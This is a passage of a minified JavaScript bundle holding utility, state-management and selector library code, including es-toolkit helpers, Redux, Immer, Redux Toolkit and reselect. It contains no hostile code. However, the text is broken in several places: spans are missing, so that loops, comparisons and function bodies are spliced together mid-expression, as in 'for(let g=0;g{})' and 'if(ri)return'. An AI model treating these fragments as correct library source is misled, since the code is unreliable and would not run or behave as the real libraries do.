n!="function"}e.isPrimitive=t})($x);var Bx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Bx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Rx,n=$x,r=Bx;function i(d,f,p){return typeof p!="function"?i(d,f,()=>{}):s(d,f,function h(x,g,y,v,b,w){const j=p(x,g,y,v,b,w);return j!==void 0?!!j:s(x,g,h,w)},new Map)}function s(d,f,p,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,p,h);case"function":return Object.keys(f).length>0?s(d,{...f},p,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,p,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,p,h);if(f instanceof Map)return l(d,f,p,h);if(f instanceof Set)return u(d,f,p,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Dx);var gN={},Fx={},yN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(yN);var zd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(zd);var Wx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",s="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",p="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",N="[object Int8Array]",z="[object Int16Array]",k="[object Int32Array]",S="[object BigInt64Array]",A="[object Float32Array]",_="[object Float64Array]";e.argumentsTag=s,e.arrayBufferTag=p,e.arrayTag=d,e.bigInt64ArrayTag=S,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=A,e.float64ArrayTag=_,e.functionTag=f,e.int16ArrayTag=z,e.int32ArrayTag=k,e.int8ArrayTag=N,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Wx);var bN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(bN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=yN,n=zd,r=Wx,i=$x,s=bN;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,p,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,p,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(s,i)}e.matches=r})(xN);var wN={},jN={},NN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Fx,n=zd,r=Wx;function i(s,o){return t.cloneDeepWith(s,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof s=="object"){if(n.getTag(s)===r.objectTag&&typeof s.constructor!="function"){const p={};return d.set(s,p),t.copyProperties(p,s,u,d),p}switch(Object.prototype.toString.call(s)){case r.numberTag:case r.stringTag:case r.booleanTag:{const p=new s.constructor(s==null?void 0:s.valueOf());return t.copyProperties(p,s),p}case r.argumentsTag:{const p={};return t.copyProperties(p,s),p.length=s.length,p[Symbol.iterator]=s[Symbol.iterator],p}default:return}}})}e.cloneDeepWith=i})(NN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NN;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(jN);var kN={},Ux={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?R6:D6;EN.useSyncExternalStore=os.useSyncExternalStore!==void 0?os.useSyncExternalStore:$6;PN.exports=EN;var B6=PN.exports;/** * @license React * use-sync-external-store-shim/with-selector.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Sd=m,F6=B6;function W6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var U6=typeof Object.is=="function"?Object.is:W6,V6=F6.useSyncExternalStore,H6=Sd.useRef,K6=Sd.useEffect,Y6=Sd.useMemo,q6=Sd.useDebugValue;CN.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=H6(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=Y6(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,U6(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=V6(e,s[0],s[1]);return K6(function(){o.hasValue=!0,o.value=l},[l]),q6(l),l};SN.exports=CN;var G6=SN.exports,Vx=m.createContext(null),X6=e=>e,ot=()=>{var e=m.useContext(Vx);return e?e.store.dispatch:X6},wc=()=>{},Z6=()=>wc,Q6=(e,t)=>e===t;function je(e){var t=m.useContext(Vx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:wc,[t,e]);return G6.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:Z6,t?t.store.getState:wc,t?t.store.getState:wc,n,Q6)}function J6(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function eO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function tO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var hy=e=>Array.isArray(e)?e:[e];function nO(e){const t=Array.isArray(e[0])?e[0]:e;return tO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function rO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Fl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function oO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),J6(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=_N,argsMemoizeOptions:x=[]}=d,g=hy(p),y=hy(x),v=nO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=rO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var L=oO(_N),lO=Object.assign((e,t=L)=>{eO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>lO}),AN={},ON={},TN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,s)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return s==="desc"?-1:1}return s==="desc"?l-o:o-l}return 0};e.compareValues=n})(TN);var MN={},Hx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Hx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(s,o){return Array.isArray(s)?!1:typeof s=="number"||typeof s=="boolean"||s==null||t.isSymbol(s)?!0:typeof s=="string"&&(r.test(s)||!n.test(s))||o!=null&&Object.hasOwn(o,s)}e.isKey=i})(MN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=TN,n=MN,r=Nd;function i(s,o,l,c){if(s==null)return[];l=c?void 0:l,Array.isArray(s)||(s=Object.values(s)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return s.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ON);var LN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],s=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(s,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(s,n.flatten(o),["asc"])}e.sortBy=i})(AN);var cO=AN.sortBy;const Cd=Wr(cO);var IN=e=>e.legend.settings,uO=e=>e.legend.size,dO=e=>e.legend.payload;L([dO,IN],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Cd(r,n):r});var Wl=1;function fO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=m.useState({height:0,left:0,top:0,width:0}),r=m.useCallback(i=>{if(i!=null){var s=i.getBoundingClientRect(),o={height:s.height,left:s.left,top:s.top,width:s.width};(Math.abs(o.height-t.height)>Wl||Math.abs(o.left-t.left)>Wl||Math.abs(o.top-t.top)>Wl||Math.abs(o.width-t.width)>Wl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Pt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var mO=typeof Symbol=="function"&&Symbol.observable||"@@observable",vy=mO,lm=()=>Math.random().toString(36).substring(7).split("").join("."),pO={INIT:`@@redux/INIT${lm()}`,REPLACE:`@@redux/REPLACE${lm()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${lm()}`},au=pO;function Yx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function DN(e,t,n){if(typeof e!="function")throw new Error(Pt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Pt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Pt(1));return n(DN)(e,t)}let r=e,i=t,s=new Map,o=s,l=0,c=!1;function u(){o===s&&(o=new Map,s.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(Pt(3));return i}function f(y){if(typeof y!="function")throw new Error(Pt(4));if(c)throw new Error(Pt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(Pt(6));v=!1,u(),o.delete(b),s=null}}}function p(y){if(!Yx(y))throw new Error(Pt(7));if(typeof y.type>"u")throw new Error(Pt(8));if(typeof y.type!="string")throw new Error(Pt(17));if(c)throw new Error(Pt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(s=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(Pt(10));r=y,p({type:au.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(Pt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[vy](){return this}}}return p({type:au.INIT}),{dispatch:p,subscribe:f,getState:d,replaceReducer:h,[vy]:x}}function hO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:au.INIT})>"u")throw new Error(Pt(12));if(typeof n(void 0,{type:au.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Pt(13))})}function RN(e){const t=Object.keys(e),n={};for(let s=0;s"u")throw l&&l.type,new Error(Pt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function su(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function xO(...e){return t=>(n,r)=>{const i=t(n,r);let s=()=>{throw new Error(Pt(15))};const o={getState:i.getState,dispatch:(c,...u)=>s(c,...u)},l=e.map(c=>c(o));return s=su(...l)(i.dispatch),{...i,dispatch:s}}}function $N(e){return Yx(e)&&"type"in e&&typeof e.type=="string"}var BN=Symbol.for("immer-nothing"),gy=Symbol.for("immer-draftable"),Vt=Symbol.for("immer-state");function Un(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var un=Object,ls=un.getPrototypeOf,ou="constructor",Pd="prototype",Fp="configurable",lu="enumerable",jc="writable",$o="value",Ir=e=>!!e&&!!e[Vt];function Zn(e){var t;return e?FN(e)||_d(e)||!!e[gy]||!!((t=e[ou])!=null&&t[gy])||Ad(e)||Od(e):!1}var vO=un[Pd][ou].toString(),yy=new WeakMap;function FN(e){if(!e||!qx(e))return!1;const t=ls(e);if(t===null||t===un[Pd])return!0;const n=un.hasOwnProperty.call(t,ou)&&t[ou];if(n===Object)return!0;if(!Pa(n))return!1;let r=yy.get(n);return r===void 0&&(r=Function.toString.call(n),yy.set(n,r)),r===vO}function Ed(e,t,n=!0){sl(e)===0?(n?Reflect.ownKeys(e):un.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function sl(e){const t=e[Vt];return t?t.type_:_d(e)?1:Ad(e)?2:Od(e)?3:0}var by=(e,t,n=sl(e))=>n===2?e.has(t):un[Pd].hasOwnProperty.call(e,t),Wp=(e,t,n=sl(e))=>n===2?e.get(t):e[t],cu=(e,t,n,r=sl(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function gO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var _d=Array.isArray,Ad=e=>e instanceof Map,Od=e=>e instanceof Set,qx=e=>typeof e=="object",Pa=e=>typeof e=="function",cm=e=>typeof e=="boolean";function yO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var Nr=e=>e.copy_||e.base_,Gx=e=>e.modified_?e.copy_:e.base_;function Up(e,t){if(Ad(e))return new Map(e);if(Od(e))return new Set(e);if(_d(e))return Array[Pd].slice.call(e);const n=FN(e);if(t===!0||t==="class_only"&&!n){const r=un.getOwnPropertyDescriptors(e);delete r[Vt];let i=Reflect.ownKeys(r);for(let s=0;s1&&un.defineProperties(e,{set:Ul,add:Ul,clear:Ul,delete:Ul}),un.freeze(e),t&&Ed(e,(n,r)=>{Xx(r,!0)},!1)),e}function bO(){Un(2)}var Ul={[$o]:bO};function Td(e){return e===null||!qx(e)?!0:un.isFrozen(e)}var uu="MapSet",Vp="Patches",wy="ArrayMethods",WN={};function fa(e){const t=WN[e];return t||Un(0,e),t}var jy=e=>!!WN[e],Bo,UN=()=>Bo,wO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:jy(uu)?fa(uu):void 0,arrayMethodsPlugin_:jy(wy)?fa(wy):void 0});function Ny(e,t){t&&(e.patchPlugin_=fa(Vp),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Hp(e){Kp(e),e.drafts_.forEach(jO),e.drafts_=null}function Kp(e){e===Bo&&(Bo=e.parent_)}var ky=e=>Bo=wO(Bo,e);function jO(e){const t=e[Vt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function zy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Vt].modified_&&(Hp(t),Un(4)),Zn(e)&&(e=Sy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Vt].base_,e,t)}else e=Sy(t,n);return NO(t,e,!0),Hp(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==BN?e:void 0}function Sy(e,t){if(Td(t))return t;const n=t[Vt];if(!n)return du(t,e.handledSet_,e);if(!Md(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);KN(n,e)}return n.copy_}function NO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Xx(t,n)}function VN(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Md=(e,t)=>e.scope_===t,kO=[];function HN(e,t,n,r){const i=Nr(e),s=e.type_;if(r!==void 0&&Wp(i,r,s)===t){cu(i,r,n,s);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;Ed(i,(c,u)=>{if(Ir(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??kO;for(const l of o)cu(i,l,n,s)}function zO(e,t,n){e.callbacks_.push(function(i){var l;const s=t;if(!s||!Md(s,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(s);const o=Gx(s);HN(e,s.draft_??s,o,n),KN(s,i)})}function KN(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const s=i.getPath(e);s&&i.generatePatches_(e,s,t)}VN(e)}}function SO(e,t,n){const{scope_:r}=e;if(Ir(n)){const i=n[Vt];Md(i,r)&&i.callbacks_.push(function(){Nc(e);const o=Gx(i);HN(e,n,o,t)})}else Zn(n)&&e.callbacks_.push(function(){const s=Nr(e);e.type_===3?s.has(n)&&du(n,r.handledSet_,r):Wp(s,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&du(Wp(e.copy_,t,e.type_),r.handledSet_,r)})}function du(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Ir(e)||t.has(e)||!Zn(e)||Td(e)||(t.add(e),Ed(e,(r,i)=>{if(Ir(i)){const s=i[Vt];if(Md(s,n)){const o=Gx(s);cu(e,r,o,e.type_),VN(s)}}else Zn(i)&&du(i,t,n)})),e}function CO(e,t){const n=_d(e),r={type_:n?1:0,scope_:t?t.scope_:UN(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,s=fu;n&&(i=[r],s=Fo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,[l,r]}var fu={get(e,t){if(t===Vt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=Nr(e);if(!by(i,t,e.type_))return PO(e,i,t);const s=i[t];if(e.finalized_||!Zn(s)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&yO(t))return s;if(s===um(e.base_,t)){Nc(e);const o=e.type_===1?+t:t,l=qp(e.scope_,s,e,o);return e.copy_[o]=l}return s},has(e,t){return t in Nr(e)},ownKeys(e){return Reflect.ownKeys(Nr(e))},set(e,t,n){const r=YN(Nr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=um(Nr(e),t),s=i==null?void 0:i[Vt];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(gO(n,i)&&(n!==void 0||by(e.base_,t,e.type_)))return!0;Nc(e),Yp(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),SO(e,t,n)),!0},deleteProperty(e,t){return Nc(e),um(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Yp(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Nr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[jc]:!0,[Fp]:e.type_!==1||t!=="length",[lu]:r[lu],[$o]:n[t]}},defineProperty(){Un(11)},getPrototypeOf(e){return ls(e.base_)},setPrototypeOf(){Un(12)}},Fo={};for(let e in fu){let t=fu[e];Fo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Fo.deleteProperty=function(e,t){return Fo.set.call(this,e,t,void 0)};Fo.set=function(e,t,n){return fu.set.call(this,e[0],t,n,e[0])};function um(e,t){const n=e[Vt];return(n?Nr(n):e)[t]}function PO(e,t,n){var i;const r=YN(t,n);return r?$o in r?r[$o]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function YN(e,t){if(!(t in e))return;let n=ls(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=ls(n)}}function Yp(e){e.modified_||(e.modified_=!0,e.parent_&&Yp(e.parent_))}function Nc(e){e.copy_||(e.assigned_=new Map,e.copy_=Up(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var EO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Pa(n)&&!Pa(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}Pa(r)||Un(6),i!==void 0&&!Pa(i)&&Un(7);let s;if(Zn(n)){const o=ky(this),l=qp(o,n,void 0);let c=!0;try{s=r(l),c=!1}finally{c?Hp(o):Kp(o)}return Ny(o,i),zy(s,o)}else if(!n||!qx(n)){if(s=r(n),s===void 0&&(s=n),s===BN&&(s=void 0),this.autoFreeze_&&Xx(s,!0),i){const o=[],l=[];fa(Vp).generateReplacementPatches_(n,s,{patches_:o,inversePatches_:l}),i(o,l)}return s}else Un(1,n)},this.produceWithPatches=(n,r)=>{if(Pa(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,s;return[this.produce(n,r,(l,c)=>{i=l,s=c}),i,s]},cm(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),cm(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),cm(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Zn(t)||Un(8),Ir(t)&&(t=qn(t));const n=ky(this),r=qp(n,t,void 0);return r[Vt].isManual_=!0,Kp(n),r}finishDraft(t,n){const r=t&&t[Vt];(!r||!r.isManual_)&&Un(9);const{scope_:i}=r;return Ny(i,n),zy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const s=n[r];if(s.path.length===0&&s.op==="replace"){t=s.value;break}}r>-1&&(n=n.slice(r+1));const i=fa(Vp).applyPatches_;return Ir(t)?i(t,n):this.produce(t,s=>i(s,n))}};function qp(e,t,n,r){const[i,s]=Ad(t)?fa(uu).proxyMap_(t,n):Od(t)?fa(uu).proxySet_(t,n):CO(t,n);return((n==null?void 0:n.scope_)??UN()).drafts_.push(i),s.callbacks_=(n==null?void 0:n.callbacks_)??[],s.key_=r,n&&r!==void 0?zO(n,s,r):s.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(s);const{patchPlugin_:u}=c;s.modified_&&u&&u.generatePatches_(s,[],c)}),i}function qn(e){return Ir(e)||Un(10,e),qN(e)}function qN(e){if(!Zn(e)||Td(e))return e;const t=e[Vt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Up(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Up(e,!0);return Ed(n,(i,s)=>{cu(n,i,qN(s))},r),t&&(t.finalized_=!1),n}var _O=new EO,GN=_O.produce;function XN(e){return({dispatch:n,getState:r})=>i=>s=>typeof s=="function"?s(n,r,e):i(s)}var AO=XN(),OO=XN,TO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?su:su.apply(null,arguments)};function On(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(mn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>$N(r)&&r.type===e,n}var ZN=class no extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,no.prototype)}static get[Symbol.species](){return no}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new no(...t[0].concat(this)):new no(...t.concat(this))}};function Cy(e){return Zn(e)?GN(e,()=>{}):e}function Vl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function MO(e){return typeof e=="boolean"}var LO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:s=!0}=t??{};let o=new ZN;return n&&(MO(n)?o.push(AO):o.push(OO(n.extraArgument))),o},QN="RTK_autoBatch",He=()=>e=>({payload:e,meta:{[QN]:!0}}),Py=e=>t=>{setTimeout(t,e)},JN=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,s=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Py(10):e.type==="callback"?e.queueNotification:Py(e.timeout),u=()=>{o=!1,s&&(s=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),p=r.subscribe(f);return l.add(d),()=>{p(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[QN]),s=!i,s&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},IO=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new ZN(e);return r&&i.push(JN(typeof r=="object"?r:void 0)),i};function DO(e){const t=LO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:s=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Yx(n))l=RN(n);else throw new Error(mn(1));let c;typeof r=="function"?c=r(t):c=t();let u=su;i&&(u=TO({trace:!1,...typeof i=="object"&&i}));const d=xO(...c),f=IO(d);let p=typeof o=="function"?o(f):f();const h=u(...p);return DN(l,s,h)}function ek(e){const t={},n=[];let r;const i={addCase(s,o){const l=typeof s=="string"?s:s.type;if(!l)throw new Error(mn(28));if(l in t)throw new Error(mn(29));return t[l]=o,i},addAsyncThunk(s,o){return o.pending&&(t[s.pending.type]=o.pending),o.rejected&&(t[s.rejected.type]=o.rejected),o.fulfilled&&(t[s.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:s.settled,reducer:o.settled}),i},addMatcher(s,o){return n.push({matcher:s,reducer:o}),i},addDefaultCase(s){return r=s,i}};return e(i),[t,n,r]}function RO(e){return typeof e=="function"}function $O(e,t){let[n,r,i]=ek(t),s;if(RO(e))s=()=>Cy(e());else{const l=Cy(e);s=()=>l}function o(l=s(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Ir(d)){const h=f(d,c);return h===void 0?d:h}else{if(Zn(d))return GN(d,p=>f(p,c));{const p=f(d,c);if(p===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return p}}return d},l)}return o.getInitialState=s,o}var BO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",FO=(e=21)=>{let t="",n=e;for(;n--;)t+=BO[Math.random()*64|0];return 